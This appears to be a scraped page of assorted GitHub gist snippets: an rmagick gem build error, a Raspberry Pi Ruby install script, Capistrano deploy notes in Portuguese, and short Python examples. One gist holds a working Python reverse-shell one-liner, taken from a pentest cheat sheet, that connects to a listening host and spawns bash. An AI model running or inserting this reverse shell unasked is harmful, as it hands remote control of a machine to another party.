This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ gem install rmagick -v '2.12.2' [ruby-1.9.3-p551] | |
Building native extensions. This could take a while... | |
ERROR: Error installing rmagick: | |
ERROR: Failed to build gem native extension. | |
/Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb | |
checking for Ruby version >= 1.8.5... yes | |
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config. | |
checking for gcc-4.9... yes | |
checking for Magick-config... yes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# -------------------------------------------------------------------------------------------- | |
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian) | |
# | |
# Run from the web: | |
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh) | |
# -------------------------------------------------------------------------------------------- | |
# Set the Ruby version you want to install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
# on the CLIENT, run the following: | |
# nc -l 12345 | |
# on the SERVER, start the "reverse shell" | |
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345 | |
# now go to the CLIENT, listen on port 12345 for incoming shell connections | |
nc -l 12345 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# Fazendo deploy com o capistrano de uma aplicação Rails | |
# usando servidores da Amazon ec2 e unicorn como servidor | |
# o versionamento do ruby no ambiente de produção foi feito | |
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO | |
# esta com o Centos 5.3 x64 | |
# | |
# Primeiramente é necessario instalar a gem com o comando: | |
# gem install capistrano | |
# ou adicione a linha: gem "capistrano", :group => :development |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
def tail_recursion_with_stack_inspection(g): | |
''' | |
Version of tail_recursion decorator using stack-frame inspection. | |
''' | |
loc_vars ={"in_loop":False,"cnt":0} | |
def result(*args, **kwd): | |
if not loc_vars["in_loop"]: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from functools import lru_cache | |
@lru_cache(maxsize=None) | |
def fib(n): | |
if n < 2: | |
return n | |
return fib(n-1) + fib(n-2) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from concurrent.futures import ThreadPoolExecutor | |
with ThreadPoolExecutor(max_workers=1) as executor: | |
future = executor.submit(pow, 323, 1235) | |
print(future.result()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from concurrent.futures import ProcessPoolExecutor | |
with ProcessPoolExecutor(max_workers=4) as executor: | |
future = executor.submit(pow, 323, 1235) | |
print(future.result()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import io | |
f = io.FileIO("texto.txt", "w") | |
f.write("ble") | |
f.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a = b"Heelo World" | |
v = memoryview(a) |